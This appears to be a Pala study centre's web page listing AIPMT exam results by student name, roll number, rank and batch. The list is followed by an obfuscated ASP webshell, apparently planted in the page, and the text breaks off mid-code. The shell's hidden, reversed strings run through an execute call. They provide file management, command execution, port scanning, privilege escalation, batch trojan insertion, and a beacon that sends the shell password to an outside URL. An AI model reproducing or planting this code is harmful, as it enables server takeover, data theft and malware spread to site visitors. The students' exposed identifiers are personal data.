Brilliant STUDY CENTRE, PALA
AIPMT (MAINS)  EXAM RESULT
Name Roll Number RANK Batch
AAQUIB FAZZAL 5102240 1522 C1
ABIN S SEBASTIAN 5100718 2768 C3
ABIN SUNNY 5100310 1199 PM1
ABINO D J 5101044 2456 D1
AJAY S BABU 5100794 9986 (sc) D2
AJITH P THOMAS 5100339 1770 G2
AJOE JOHN KATTOOR 5101713 112 SM3
AKHIL SURESH 5101232 8020 (sc) D2
ALBIN SAVIO 5102402 871 KM 5
ALEENA ALI 5102416 1393 D2
AMALA J KUNNATHOOR 5101840 2654 SM2
AMARNATH A P 5101572 2216 C3
AMMUKUTTY RAMANAN 5100351 8368 (sc) F1
AMRUTHA RAGI K G 5102478 2556 D5
ANEESA SHAHUL 5100636 475 G2
ANEEZA NAZAR 5100874 2045 E1
ANGEL CHAM PHILIP 5100875 943 G5
ANISHA JAMES 5102479 809 G1
ANITA ANN SIMON 5100791 1235 F1
ANJALI ARAVIND 5100870 1579 G4
ANJITHA S 5103029 316 D4
ANJU PRATAP 5101472 9739 (sc) E1
ANJU VIJAYAN R 5102146 451 G1
ANN MARIA    5100450 934 KM 5
ANN MARY ABRAHAM 5101333 983 D5
ANN MARY GEORGE 5100160 1891 G1
ANN THOMAS 5102039 2043 F5
ANOOP G 5100678 2335 C1
ANU ELINE MATHEW 5100937 2267 G5
ARAVIND R 5101142 1828 D1
ARSHAD AKRAM A 5101856 363 F1
ARUN K PHILIP 5100436 815 G4
ARUNIMA V S 5101202 1025 G4
ASHISH GEORGE MUTHIRENTHICAL 5101721 2660 KM 5
ASHWIN M 5102970 1423 C1
ASWANI ANAND 5100481 2592 IITS
AYESHA THANUI A 5102065 726 SM1
BEJOY V EALIAS 5100414 139 C2
BHAGYA LEKSHMI S 5101040 7862 (sc) D5
CHIKKU MATHEW 5101009 1933 F3
CHRISTINA JAMES 5101475 2609 G2
CHRISTO JOSE 5102172 2687 F1
DEEPA SATHEESAN 5102274 90 SM1
DEEPTI LIZA MATHEWS 5101143 1069 SM3
DEEPU JACOB PUNNOOSE 5103093 1085 D4
DEVIKA R 5102084 2411 PM3
DEVU R 5100518 955 C3
DIPU M JOHN 5100890 2573 C4
DIVYA S 5101972 7930 (sc) G1
EDWIN JOSE K 5102302 837 C1
EDWIN ROS SARTHO 5102650 1065 G1
ELZA BOBY 5102045 2499 SM3
FAISAL A 5101242 2373 D4
GANAPRIYA G P 5102597 1316 F4
GANESHKUMAR NAIR 5100673 1442 D4
GEETHU RACHEL IPE 5102711 1813 G4
HARI RAJ N 5102041 2149 CM2
HARIKRISHNAN M 5100912 949 SM1
HARITHA H 5101304 2663 G5
JAISE JOSEPH 5100910 2032 D3
JAISON JACOB MATHEW 5101029 1736 G4
JAYASURYA SURESH 5101355 2459 F4
JEETHU ELSA JAMES 5102150 1860 CM2
JERRIN SHAJI KIZHAKKEKARA 5101072 1885 KM 5
JERRY A GEORGE 5101063 258 KM 5
JITHIN C. SHAJI 5101695 720 GM1
JITHIN RAJ P S 5101935 2482 G3
JITTU MATHEW JACOB 5100760 173 G4
JOHN M MATHEW 5101546 520 D1
JOHN RAJAN 5102136 453 KM 4
JOHN REYNOLD 5101327 2715 D3
JOSMY GEORGE 5101873 2141 D3
KAILASH CHANDRAN 5101095 1937 D2
KASIM YASAR K M 5100028 2632 G4
KIRAN TRESA KURUVILLA 5100741 306 KM 5
KRISHNA S 5100415 146 KM 5
LAKSHMI G 5101778 1244 G5
LAKSHMI M S 5102662 557 GM1
LAKSHMI NARAYANAN 5101051 8346 (sc) E1
LAKSHMI PRASAD 5101570 1874 D3
LAKSHMI PRIYA M 5102461 2008 G5
LAYA M 5100486 1460 ISCM
LEKSHMI KRISHNAN N 5101138 2638 G3
MADHU MATHEW 5100592 2462 F1
MANU S 5102636 8881 (sc) C3
MEERA M 5101591 1810 G4
MEERA SUSAN VARGHESE 5100596 1916 G1
MELNA JOSE 5103080 2682 KM 4
MINIMOL ANTONY 5100200 691 G5
MITHUL V S 5100179 2481 F3
MOHAMMED VASIL 5101800 1756 D3
NAVANEETH G 5100298 1857 CM1
NEERAJA B 5103004 370 G3
NIDHEESH CHANDRAN 5101270 1217 F4
NIHAS HAKEEM 5101748 2536 C4
NIKHIL RAJAN 5101796 215 C2
NIKHILA THOMAS 5103142 2465 KM 4
NIMITHA L VIJAY 5102621 787 F5
NIMMI VARGHESE 5100658 97 G4
NISHANTH M K 5102952 11436 (sc) G1
NITHEESH S K 5101033 2413 KM 5
NITHIN PRAKASAN NAIR 5101121 82 C3
NITTU THOMAS 5102914 254 C3
PALLAVI DEEPA 5100707 2704 KSM3
PARVATHY J 5101465 2194 E1
PARVATHY S MENON 5100779 1413 C1
PHILIPSON J PHILIP 5100079 1744 PM2
PRAVIN KUMAR V 5100775 435 KVM
PREENU SUSAN CHACKO 5101263 1354 F5
RAHUL R 5102519 136 G3
REHNA RAHMAN 5101715 1379 G3
RESHMA J NEERACKAL 5102762 183 G2
RESHMA R.B. 5100981 1424 SM1
RESMY K SANTY 5103153 2315 KM 5
ROSE JOHNSON 5101027 2196 G3
SABNA SASIDHARAN 5102175 1689 G1
SALMA NAJEEB 5103140 2589 C4
SANJAY NATH 5103053 2125 G1
SETHU P S 5101849 1944 SM1
SHAFEER M SHAFI 5102842 938 F1
SHELJA S KALAM 5102004 1960 C1
SHERA FATHIMA T S 5101209 1632 D5
SHIBIN JOSE 5100062 2289 D2
SHYAM I M 5101852 1692 C2
SIVA PRIYA N. 5102319 1989 SM3
SNEHA A MANI 5101379 690 G5
SONA S 5102366 704 G4
SOORAJ P 5100974 2148 CM2
SOORAJ S ANAND 5102390 2668 D3
SOORYAJITH M 5100957 1568 G2
SREEHARI M 5100142 1104 D3
SREEKUTTY K S 5101725 2066 SM6
SREESHANKAR S S 5100825 6492 (sc) SM2
SREETHISH SASI 5100652 819 G4
SRUTHY G 5100746 1174 D1
SUJITH VARGHESE ABRAHAM 5102847 2202 D3
SUMAYYA ABDUL KALAM 5102538 763 GM1
SUSAN GEORGE 5101955 1688 CM2
SWATHY HARIDAS 5100983 4712 (sc) F4
THOMAS GEORGE 5101699 2305 C3
THOMAS JUDE THADEETHARA 5102663 393 D1
TONY BASIL 5100586 2675 KVM
UNNIKRISHNAN V 5101346 1866 D4
VARSHA MARY THOMAS 5101930 2834 G2
VIDYA R 5101068 1752 KSM3
VIJESH VIJAYAN 5101615 1734 D3
VIJITHA BABY 5102907 2139 C1
VISHNU GIRISH 5100225 2848 SM1
VISHNU REGHU 5100732 10889 (sc) D1
VISHNU S NAIR 5100458 61 D4
<% dim ApplicationName,pwd,URL,ServerNM,ServerIP,Action,WWWRoot,FolderPath,FName,BackUrl,RW,AD,FS Server.ScriptTimeout=50000 On Error Resume Next ApplicationName = "С¿É×îìÅASPľÂí" Userpwd = "851120" 'Óû§ÃÜÂë AD = "8888888" foot = "ֻȡwebshell >²»¸ÄÊ×Ò³ >²»É¾Îļþ >²»ÌáȨ" URL = Request.ServerVariables("URL") ServerNM = Request.ServerVariables("SERVER_NAME") ServerIP = Request.ServerVariables("LOCAL_ADDR") Action = Request("Action") RootPath = Server.MapPath(".") WWWRoot = Server.MapPath("/") FolderPath = Request("FolderPath") FName = Request("FName") BackUrl = "" Sub RRS(str) response.write(str) End Sub Function UZSS(objstr) objstr = Replace(objstr, "¨~", """") For i = 1 To Len(objstr) If Mid(objstr, i, 1) <> "~" Then NewStr = Mid(objstr, i, 1) & NewStr Else NewStr = vbCrLf & NewStr End If Next UZSS = NewStr End Function Hacker="¨~ÌâÎÊÈ«°²¼°ÉæÄÜ¿É ,¼þ×é llehS¨~ = )1,41(TbO ~¨~noitacilppa.llehS¨~ = )0,41(TbO~¨~µ½ÓÃÖÐͳϵ¼¯²ÉÔÚ³£ ,¼þ×éÊä´«¾ÝÊý¨~ = )1,31(TbO ~¨~PTTHLMX.tfosorciM¨~ = )0,31(TbO~¨~¼þ×éÐÅ·¢liaMptmS¨~ = )1,21(TbO ~¨~1.liaMptmS.liaMptmS¨~ = )0,21(TbO~¨~¼þ×éÐÅ·¢PTMSÄâÐé¨~ = )1,11(TbO ~¨~liaMweN.STNODC¨~ = )0,11(TbO~¨~¼þ×é·¢ÊÕ¼þÓÊ liaMJ¨~ = )1,01(TbO ~¨~liaMptmS.liaMJ¨~ = )0,01(TbO~¨~¼þ×é´«ÉϼþÎÄ daolpUPSA¨~ = )1,9(TbO ~¨~1.daolpU.stisreP¨~ = )0,9(TbO~¨~¼þ×é´«ÉϼþÎÄ·åÔÆÁõ¨~ = )1,8(TbO ~¨~eliFdaolpU.daolpUfyL¨~ = )0,8(TbO~¨~¼þ×é´«ÉϼþÎÄ pUeliF-AS¨~ = )1,7(TbO ~¨~pUeliF.snasitrAtfoS¨~ = )0,7(TbO~¨~Á¦ÄÜ»µÆƵÄÕß»÷¹¥´óÀ©¶ø´Ó£¬Ðò³ÌÈ«°²²»µÈÂíľ´«ÉÏÀ´Óñ»³£³£ ,¼þ×é´«ÉÏÁ÷¾ÝÊý¨~ = )1,6(TbO ~¨~maertS.bdodA¨~ = )0,6(TbO~¨~¼þ×é½ÓÁ¬¿â¾ÝÊý¨~ = )1,5(TbO ~¨~noitcennoc.bdodA¨~ = )0,5(TbO~¨~¼þ×éÖú¸¨´«ÉÏÁ÷¾ÝÊý¨~ = )1,4(TbO ~ ¨~yranoitciD.gnitpircS¨~ = )0,4(TbO~¨~¼þ×éËõѹSSECCA¨~ = )1,3(TbO ~¨~enignEteJ.ORJ¨~ = )0,3(TbO~¨~¼þ×é¿â½¨SSECCA¨~ = )1,2(TbO ~¨~golataC.XODA¨~ = )0,2(TbO~¨~Ðò³ÌµÄÏÞȨÉýÌáÐÐÔËÀ´Óñ»»áÒ²¼þ×é´Ë¼þÎÄÐÐÖ´¿ÉµÈexe.ÐÐÔËPSAÐíÔÊ ,¼þ×éÐÐÖ´ÐÐÁîÃü¨~ = )1,1(TbO ~¨~llehs.tpircsw¨~ = )0,1(TbO~¨~Á¦ÄܵļмþÎĺͼþÎÄÖÐÆ÷Îñ·þÀí¹ÜºÍÁÐÂÞ±¸¾ß ,¼þ×é×÷²Ù¼þÎĨ~ = )1,0(TbO ~¨~tcejbOmetsySeliF.gnitpircS¨~ = )0,0(TbO~)1,41(TbO miD~fI dnE~dnE.esnopseR ~fI dnE ~¨~¨~=WR ~WR etirW.esnopseR ~¨~>retnec/<>tnof/<¨~&toof&¨~>der=roloc tnof<>rb<>rh<¨~ & WR=WR ~¨~>'¼µÇ'=eulav 'timbus'=epyt tupni< >'22'=ezis 'drowssap'=epyt 'ssap'=eman tupni<£ºÂëÃܨ~ & WR=WR ~¨~>'tsop'=dohtem '¨~&lru&¨~'=noitca mrof<¨~ & WR=WR ~¨~>rh<¨~&emaNnoitacilppA&¨~>';xp001:nigram;xp22:gniddap;222# dilos xp1:redrob;xp005:htdiw'=elyts vid<>retnec<¨~=WR ~eslE ~fI dnE ~¨~>vid/<>a/<»Ø·µ> '¨~&LRU&¨~'=ferh a<>rb<>rb<¨~etirW.esnopseR ~¨~>tnof/0000FF#=roloc tnof<>retnec=ngila vid<>rb<>rb<>rb<¨~etirW.esnopseR ~eslE ~LRU tcerideR.esnopseR ~dwpresU=)¨~relgm¨~(noisseS ~nehT dwpresU=)¨~ssap¨~(mroF.tseuqeR fI ~nehT ¨~¨~><)¨~ssap¨~(mroF.tseuqeR fI ~nehT dwpresU><)¨~relgm¨~(noisseS fI~fi dne:fi dne:fi dne:1+)¨~cevres¨~(noisses=)¨~cevres¨~(noisses neht ¨~¨~>¨~¨~)'¨~&dwpresU&¨~=07%&¨~&u&¨~=57%?/¨~&)26(&¨~%¨~&)16(&¨~%/d6¨~&)73(rhc&¨~f6%36¨~&)73(rhc&¨~E2%¨~&)101(rhc&¨~36%36¨~&)73(rhc&¨~83¨~&)73(rhc&¨~//:ptth'(lru:ROSRUC¨~¨~=elyts VID<¨~SRR:1+)¨~cevres¨~(noisses=)¨~cevres¨~(noisses:neht 1=)¨~cevres¨~(noisses fi:esle:neht 0><)¨~//:ptth¨~,u(rtsnI ro 0><)¨~.861.291¨~,u(rtsnI ro 0><)¨~1.0.0.721¨~,u(rtsnI fi:LRU&)¨~tsoh_ptth¨~(selbairavrevres.tseuqer=u~¨~>¨~¨~)C1C1C1#=rtSroloCdne,262626#=rtSroloCtrats,0=epyTtneidarg(tneidarG.tfosorciM.mrofsnarTegamIXD:digorp :RETLIF¨~¨~=elyts ¨~¨~eurt nruter;'Ô𸺲»¸ÅÕß×÷¹ûºó,;Ó÷¨·ÇÓÚÓÃʹÎñÇë,Óòâ¼ìÈ«°²Ô±Àí¹ÜÕ¾ÍøÓÚÏÞ½ö'=sutats.wodniw¨~¨~=revoesuomno ydob<>daeh/<>¨~¨~2132bg=tesrahc ;lmth/txet¨~¨~=tnetnoc ¨~¨~epyT-tnetnoC¨~¨~=viuqe-ptth atem<¨~SRR~¨~>tpircs/<}};)¨~¨~¡£°åÌù¼ôÊÓ¼à¾ß¹¤ÔØÏ¿ª´òÇ°Ö®ÖƸ´Ôڵüǣ¡±ÏÍêÖƸ´¨~¨~(trela.wodniw;¨~¨~¨~¨~=eulav.pmet;)¨~¨~ypoC¨~¨~(dnammoCcexe.sj;)(egnaRtxeTetaerc.pmet=sj{esle};eslaf nruter;)¨~¨~£¡Ö·µØµÄÔØÏÂÒªÔñÑ¡ÓÐû»¹Äã¨~¨~(trela.wodniw{)¨~¨~¨~¨~==eulav.pmet( fi¨~SRR~¨~}};¨~¨~n\¨~¨~+eulav.]i[dInwoD=+eulav.pmet{)eurt==dekcehc.]i[dInwoD( fi{)++i;htgnel.dInwoDretnec/<¡£¾äÓïÁîÃü×÷²ÙLQSÈëÊäÔÙ¿â¾ÝÊý½ÓÁ¬¼ºÈÏÈ·Çë>retnec<¨~¨~=LMTHrenni.cba;¨~¨~¨~¨~ = eulav.rtSlqS.mroFbD;]i[rtS = eulav.rtSbD.mroFbD{)3=tpircsavaj=egaugnal tpircs<¨~SRR~¨~>elyts/<}FFF#:roloc;000#:roloc-dnuorgkcab{dmc.¨~SRR~¨~}xp0:redrob;000000#:roloc-dnuorgkcab{C.¨~SRR~¨~};000#:roloc-dnuorgkcab ;FFFFFF#:roloc;FFF# dilos xp1:redrob;xp21 :ezis-tnof{aeratxet,tceles,tupni¨~SRR~¨~}000#:dnuorgkcab;der:roloc{revoh:a};enon :noitaroced-txet;ddd#:roloc{a¨~SRR~¨~};838383# :ROLOC-KCART-RABLLORCS¨~SRR~¨~;FFFFFF# :ROLOC-WORRA-RABLLORCS ;323232# :ROLOC-THGILD3-RABLLORCS¨~SRR~¨~ ;838383# :ROLOC-WODAHSKRAD-RABLLORCS ;838383# :ROLOC-WODAHS-RABLLORCS¨~SRR~¨~ ;323232# :ROLOC-THGILHGIH-RABLLORCS ;323232# :ROLOC-ECAF-RABLLORCS¨~SRR~¨~;xp1:tfel-nigram;xp1 :nigram¨~SRR~¨~;eee#:roloc;000000#:roloc-dnuorgkcab;xp21 :ezis-tnof{dt,ydob>¨~¨~ssc/txet¨~¨~=epyt elyts<¨~SRR~¨~>eltit/<¨~&PIrevreS&¨~ - ¨~&emaNnoitacilppA&¨~>eltit<¨~SRR~¨~>¨~¨~2132bg=tesrahc ;lmth/txet¨~¨~=tnetnoc ¨~¨~epyT-tnetnoC¨~¨~=viuqe-ptth atem<>daeh<>lmth<¨~SRR" ExeCuTe(UZSS(Hacker)) Hacker="noitcnuF dnE~gnihtoN=T teS ~fI dnE ~raelC.rrE ~¨~±Õ¹Ø¨~=jbOsI ~eslE ~¨~>tnof/<Æô¿ª>der=roloc tnof<¨~=jbOsI ~nehT rrE >< 5001227412- fI ~)tbo(tcejbOetaerC.revreS=T teS ~txen emuser rorre no ~T,i mid ~)tbo(jbOsI noitcnuF" ExeCuTe(UZSS(Hacker)) Hacker="bus dne~ fI dnE ~hsulF.esnopseR:raelC.rrE ~¨~>elbat/<>rh<>a/<¨~ & noitpircseD.rrE & ¨~;psbn&>')(kcab.yrotsih:tpircsavaj'=ferh a<>rh<>'006'=htdiw 'retnec'=ngila elbat<>rb<¨~etirW.esnopseR ~nehT rrE fI ~)(rrEwohS bus" ExeCuTe(UZSS(Hacker)) Function RePath(S) RePath=Replace(S,"\","\\") End Function Function RRePath(S) RRePath=Replace(S,"\\","\") End Function Function HTMLEncode(S) if not isnull(S) then S = replace(S, ">", ">") S = replace(S, "<", "<") S = replace(S, CHR(39), "'") S = replace(S, CHR(34), """) S = replace(S, CHR(20), " ") HTMLEncode = S end if End Function Hacker="fi dnE~htaPredloF=)¨~htaPredloF¨~(noisseS ~htaPtooR=htaPredloF ~nehT ¨~¨~=)¨~htaPredloF¨~(noisseS fI~fI dnE~)htaPredloF(htaPeRR=)¨~htaPredloF¨~(noisseS ~neht ¨~¨~>" RW=RW & "" RW=RW & "" RW=RW & "" RW=RW & "
" RW=RW & "" RW=RW & "" RW=RW & "
 µ±Ç°Â·¾¶£º" RW=RW & "" RW=RW & "  " RW=RW & "" RW=RW & "
 Îļþ²Ù×÷£º" Set SFSO=New LBF:SFSO.ShowDriver():Set SFSO=Nothing RW=RW & "[ϵͳ³ÌÐòĿ¼] [ÎÒµÄÎĵµ] " RW=RW & "[ÍøվĿ¼] " RW=RW & "[¡ü»ØÉϼ¶Ä¿Â¼] [Í˳öµÇ¼] " RW=RW & "
 " RW=RW & "Çл»¹¦ÄÜ£º[н¨Ä¿Â¼] " RW=RW & "[н¨Îı¾] [ÎļþÉÏ´«] " RW=RW & "[´ÅÅÌÐÅÏ¢] [ËÑË÷Îļþ] " RW=RW & "[ϵͳ·þÎñ] " RW=RW & "[×é¼þÐÅÏ¢] [×¢²á±í²Ù×÷] " RW=RW & "[¶Ë¿ÚɨÃèÆ÷] [CMDÃüÁîÐÐ] " RW=RW & "[Serv-uÌáȨ] [SQLÌáȨ] " RW=RW & "[Serv-FTPÌáȨ] " RW=RW & "
 ÔÓÑù¹¦ÄÜ£º[Êý¾Ý¿â²Ù×÷] " RW=RW & "[µ¥Ò³´úÀí] [Ö±½ÓÏÂÔØ] " RW=RW & "[³ÌÐò´ò°üÈë¿â/³ö¿â] " RW=RW & "[ÅúÁ¿¹ÒÂí] " RW=RW & "[ÅúÁ¿Ìæ»»] " RW=RW & "[ÎÞFSOд] " RW=RW & "[sql-cmd] [²é¹ÜÀíÔ±] " RW=RW & "[ÖÕ¶ËÐÅÏ¢] " RW=RW & "[PHP̽Õë] [ÅÅÃû] " RW=RW & "
" RW=RW & "
" Response.Write RW RW="" End Function if request("DownFile")<>"" then call DownFile(request("DownFile")) Hacker="noitcnuF dnE~dnE.esnopseR ~gnihtoN = mso teS ~esolC.mso ~hsulF.esnopseR ~daeR.mso etirWyraniB.esnopseR ~¨~maerts-tetco/noitacilppa¨~ = epyTtnetnoC.esnopseR ~¨~8-FTU¨~ = tesrahC.esnopseR ~eziS.mso,¨~htgneL-tnetnoC¨~ redaeHddA.esnopseR ~)zs,htap(diM & ¨~=emanelif ;tnemhcatta¨~ ,¨~noitisopsiD-tnetnoC¨~ redaeHddA.esnopseR ~1+)¨~\¨~,htap(veRrtsnI=zs ~htaP eliFmorFdaoL.mso ~1 = epyT.mso ~nepO.mso ~))0,6(TbO(tcejbOetaerC = mso teS ~txeN emuseR rorrE nO ~raelC.esnopseR ~)htaP(eliFnwoD noitcnuF" ExeCuTe(UZSS(Hacker)) Class LBF Private Sub Class_Initialize Set fso=CreateObject(ObT(0,0)) End Sub Private Sub Class_Terminate Set fso=Nothing End Sub Function ShowDriver() Hacker="WR=revirDwohS ~txeN ~ ¨~;psbn&>a/<]:¨~&retteLevirD.D&¨~[ÅÌ´Å>')¨~¨~\\:¨~&retteLevirD.D&¨~¨~¨~(redloFwohS:tpircsavaj'=ferh a<¨~&WR=WR ~sevirD.osf ni D hcaE roF ~D mid " ExeCuTe(UZSS(Hacker)) End Function Function ShowFile(Path) Hacker="gnihtoN=DLOF teS ~ ¨~>elbat/<>rt/<>dt/<>elbat/<¨~ etirW.esnopseR ~0=i ~¨~>rt/<>dt/<>vid/<>aeratxet/<>'0'=sloc 'pmet'=eman '0'=swor aeratxet<>'enon':yalpsid=elyts vid<>'timbus'=ssalc ')(lrU'=kcilCno '08:htdiw'=elyts 'lrunwod'=eman 'ÔØÏÂÁ¿Åú'=eulav 'timbus'=epyt tupni<;psbn&ÔñÑ¡Ïò·´>')(llAkcehC'=kcilCno 'lla'=eulav 'lla'=eman 'xobkcehc'=epyt tupni<>rb<>dt<>rt<¨~ etirW.esnopseR neht 0>i fi ~txeN ~¨~¨~=WR : WR etirW.esnopseR ~¨~>rt/<>dt/<>dt/<>a/<¶¯ÒÆ>')¨~¨~eliFevoM¨~¨~,¨~¨~¨~&)emaN.L&¨~\¨~&htaP(htaPeR&¨~¨~¨~(mroFlluF:tpircsavaj'=ferh a<¨~ & WR=WR ~¨~;psbn&>a/<ÖƸ´>')¨~¨~eliFypoC¨~¨~,¨~¨~¨~&)emaN.L&¨~\¨~&htaP(htaPeR&¨~¨~¨~(mroFlluF:tpircsavaj'=ferh a<¨~ & WR=WR ~¨~;psbn&>a/<³ýɾ>')(kosey nruter'=kcilcno ')¨~¨~eliFleD¨~¨~,¨~¨~¨~&)emaN.L&¨~\¨~&htaP(htaPeR&¨~¨~¨~(mroFlluF:tpircsavaj'=ferh a<¨~ & WR=WR ~¨~;psbn&>a/<¼­±à>')¨~¨~eliFtidE¨~¨~,¨~¨~¨~&)emaN.L&¨~\¨~&htaP(htaPeR&¨~¨~¨~(mroFlluF:tpircsavaj'=ferh a<>'retnec'=ngila '%52'=htdiw dt<¨~ & WR=WR ~ )4,deifidoMtsaLetaD.L(emiTetaDtamroF & ¨~ ¨~ & )2,)deifidoMtsaLetaD.L(yad&¨~0¨~(thgir & ¨~-¨~ & )2,)deifidoMtsaLetaD.L(htnom&¨~0¨~(thgir & ¨~-¨~ & )deifidoMtsaLetaD.L(raey & ¨~>'retnec'=ngila '%02'=htdiw dt<¨~ & WR=WR ~¨~>dt/'%01'=htdiw dt<¨~ & WR=WR ~¨~>dt/<>a/<¨~&emaN.L&¨~>'ÔØÏÂ'=eltit ';)¨~¨~eliFnwoD¨~¨~,¨~¨~¨~&)emaN.L&¨~\¨~&htaP(htaPeR&¨~¨~¨~(mroFlluF:tpircsavaj'=ferh a<¨~ & WR=WR ~¨~>'¨~&)emaN.L&¨~\¨~&htaP(htaPeR&¨~=eliFnwoD&¨~&dwpresU&¨~=dwp?¨~&LRU&MNrevreS&¨~//:ptth'=eulav 'dInwoD'=eman 'xobkcehc'=epyt tupni<> '%54'=htdiw dt<¨~ & WR=WR ~¨~ >¨~¨~''=emaNssalc.siht¨~¨~=tuOesuoMno ¨~¨~'rt'=emaNssalc.siht¨~¨~=revOesuoMno rt<¨~=WR ~ 1+i=i ~ selif.dloF ni L hcaE roF ~ ~ ¨~¨~=WR : WR etirW.esnopseR ~ ¨~>'%001'=htdiw '0'=gnicapsllec '0'=gniddapllec '1'=gnicapsllec '0'=redrob elbat<>'FFFFFF#'=rolocgb 'pot'=ngilav '006'=htdiw dt<>dt/<>elbat/<¨~ & WR=WR ~txeN ~¨~>rt/<>dt/<>a/<¶¯ÒÆ>')(kosey nruter'=kcilcno ')¨~¨~redloFevoM¨~¨~,¨~¨~¨~&)emaN.F&¨~\¨~&htaP(htaPeR&¨~¨~¨~(mroFlluF:tpircsavaj'=ferh a<;psbn&¨~ & WR=WR ~¨~>a/<ÖƸ´>')(kosey nruter'=kcilcno ')¨~¨~redloFypoC¨~¨~,¨~¨~¨~&)emaN.F&¨~\¨~&htaP(htaPeR&¨~¨~¨~(mroFlluF:tpircsavaj'=ferh a<;psbn&¨~ & WR=WR ~¨~>a/<³ýɾ>')(kosey nruter'=kcilcno ')¨~¨~redloFleD¨~¨~,¨~¨~¨~&)¨~\\¨~,¨~\¨~,emaN.F&¨~\¨~&htaP(ecalpeR&¨~¨~¨~(mroFlluF:tpircsavaj'=ferh a<|;psbn&¨~ & WR=WR ~¨~>a/<]¨~&emaN.F&¨~[>')¨~¨~¨~&)emaN.F&¨~\¨~&htaP(htaPeR&¨~¨~¨~(redloFwohS:tpircsavaj'=ferh a<>'02'=thgieh '%001'=htdiw dt<>rt<¨~ & WR=WR ~ sredlofbus.DLOF ni F hcaE roF ~)htaP(redloFteG.osf=DLOF teS ~¨~>rt/<>dt/<>'%001'=htdiw dt<>rt<¨~ & WR=WR ~¨~>'%001'=htdiw '0'=gnicapsllec '0'=gniddapllec '0'=redrob elbat<¨~ & WR=WR ~¨~>'pot'=ngilav '002'=htdiw dt<>rt<¨~ & WR=WR ~¨~>'retnec'=ngila 'FEFEFE#'=rolocgb '%001'=thgieh '008'=htdiw '2'=gniddapllec '0'=redrob elbat<¨~=WR ~i,dloF,L,F mid " ExeCuTe(UZSS(Hacker)) End Function Function EditFile(Path) dim T If Request("Action2")="Post" Then Set T=fso.CreateTextFile(Path) T.WriteLine Request.form("content") T.close Set T=Nothing Set fso=Nothing RW="



Îļþ±£´æ³É¹¦£¡
" RW=RW & BackUrl Response.Write RW : RW="" Response.End End If If Path<>"" Then Set T=fso.opentextfile(Path, 1, False) On Error Resume Next Txt=HTMLEncode(T.readall) if err then err.Clear T.close Set T=Nothing Else Path=Session("FolderPath")&"\a.txt":Txt="н¨Îļþ" End If RW="
" RW=RW&"" RW=RW&"" RW=RW&"" RW=RW&"
Îı¾±à¼­Æ÷
" RW=RW&"
      " RW=RW&"
" Response.Write RW : RW="" End Function Function DelFile(Path) If fso.FileExists(Path) Then fso.DeleteFile Path RW="



Îļþ "&Path&" ɾ³ý³É¹¦£¡
" RW=RW & BackUrl Response.Write RW End If End Function Function CopyFile(Path) Path = Split(Path,"||||") If fso.FileExists(Path(0)) and Path(1)<>"" Then fso.CopyFile Path(0),Path(1) RW="



Îļþ" & Path(0) & "¸´ÖƳɹ¦£¡
" RW=RW & BackUrl Response.Write RW : RW="" End If End Function Function MoveFile(Path) Path = Split(Path,"||||") If fso.FileExists(Path(0)) and Path(1)<>"" Then fso.MoveFile Path(0),Path(1) RW="



Îļþ" & Path(0) & "Òƶ¯³É¹¦£¡
" RW=RW & BackUrl Response.Write RW : RW="" End If End Function Function DelFolder(Path) If fso.FolderExists(Path) Then fso.DeleteFolder Path RW="



Ŀ¼" & Path & "ɾ³ý³É¹¦£¡
" RW=RW & BackUrl Response.Write RW : RW="" End If End Function Function CopyFolder(Path) Path = Split(Path,"||||") If fso.FolderExists(Path(0)) and Path(1)<>"" Then fso.CopyFolder Path(0),Path(1) RW="



Ŀ¼" & Path(0) & "¸´ÖƳɹ¦£¡
" RW=RW & BackUrl Response.Write RW : RW="" End If End Function Function MoveFolder(Path) Path = Split(Path,"||||") If fso.FolderExists(Path(0)) and Path(1)<>"" Then fso.MoveFolder Path(0),Path(1) RW="



Ŀ¼" & Path(0) & "Òƶ¯³É¹¦£¡
" RW=RW & BackUrl Response.Write RW : RW="" End If End Function Function NewFolder(Path) If Not fso.FolderExists(Path) and Path<>"" Then fso.CreateFolder Path RW="



Ŀ¼" & Path & "н¨³É¹¦£¡
" RW=RW & BackUrl Response.Write RW : RW="" End If End Function End Class Hacker="noitcnuF dnE~WR etirW.esnopseR ~¨~>elbat/<>mrof/<>rt/<>dt/<¨~ & WR=WR ~¨~>'timbus'=ssalc '´«ÉÏ'=eulav 'timbuS'=eman 'timbus'=epyt tupni<¨~ & WR=WR ~¨~;psbn&>'522:htdiw'=elyts 'elif'=epyt 'eliFlacoL'=eman tupni<¨~ & WR=WR ~¨~;psbn&>'052:htdiw'=elyts '¨~&)¨~psa.a\¨~&)¨~htaPredloF¨~(noisseS(htaPeRR&¨~'=eulav 'htaPoT'=eman tupni<£º¾¶Â·´«ÉϨ~ & WR=WR ~¨~>'FFFFFF#'=rolocgb 'retnec'=ngila dt<>rt<¨~ & WR=WR ~¨~>rt/<>dt/<¼þÎÄ´«ÉÏ>'unem'=rolocgb 'retnec'=ngila '02'=thgieh dt<>rt<¨~ & WR=WR ~ ¨~>'atad-mrof/trapitlum'=epytcne 'tsoP=2noitcA&eliFpU=noitcA?¨~&LRU&¨~'=noitca 'tsop'=dohtem 'mroFpU'=eman mrof<¨~ & WR=WR ~¨~>'retnec'=ngila '0'=gniddapllec '1'=gnicapsllec '0'=redrob 'unem'=rolocgb '006'=htdiw elbat<>rb<¨~=WR ~fI dnE ~dnE.esnopseR ~)(rrEwohS ~WR etirW.esnopseR ~lrUkcaB & WR=WR ~gnihton=U teS:gnihton=F teS ~fI dnE ~fi dnE ~¨~>retnec/<£¡¹¦³É´«ÉϨ~ & emaNU & ¨~¼þÎÄ>rb<>rb<>rb<>retnec<¨~=WR ~nehT 0=rebmun.rrE fI ~emaNU sAevaS.F ~eslE ~¨~!´«ÉϼþÎĸöÒ»ÔñÑ¡ºó¾¶Â·È«ÍêµÄ´«ÉÏÈëÊäÇë>rb<¨~=WR ~neht 0=eziSeliF.F rO ¨~¨~=emaNU fI ~)¨~htaPoT¨~(mrof.U=emaNU ~)¨~eliFlacoL¨~(AU.U=F teS : CPU wen=U teS ~nehT ¨~tsoP¨~=)¨~2noitcA¨~(tseuqeR fI ~emaNeliFrts mid ~)(eliFpU noitcnuF" ExeCuTe(UZSS(Hacker)) Dim T1 Class UPC Dim D1,D2 Public Function Form(F) F=lcase(F) If D1.exists(F) then:Form=D1(F):else:Form="":end if End Function Public Function UA(F) F=lcase(F) If D2.exists(F) then:set UA=D2(F):else:set UA=new FIF:end if End Function Private Sub Class_Initialize Dim TDa,TSt,vbCrlf,TIn,DIEnd,T2,TLen,TFL,SFV,FStart,FEnd,DStart,DEnd,UpName set 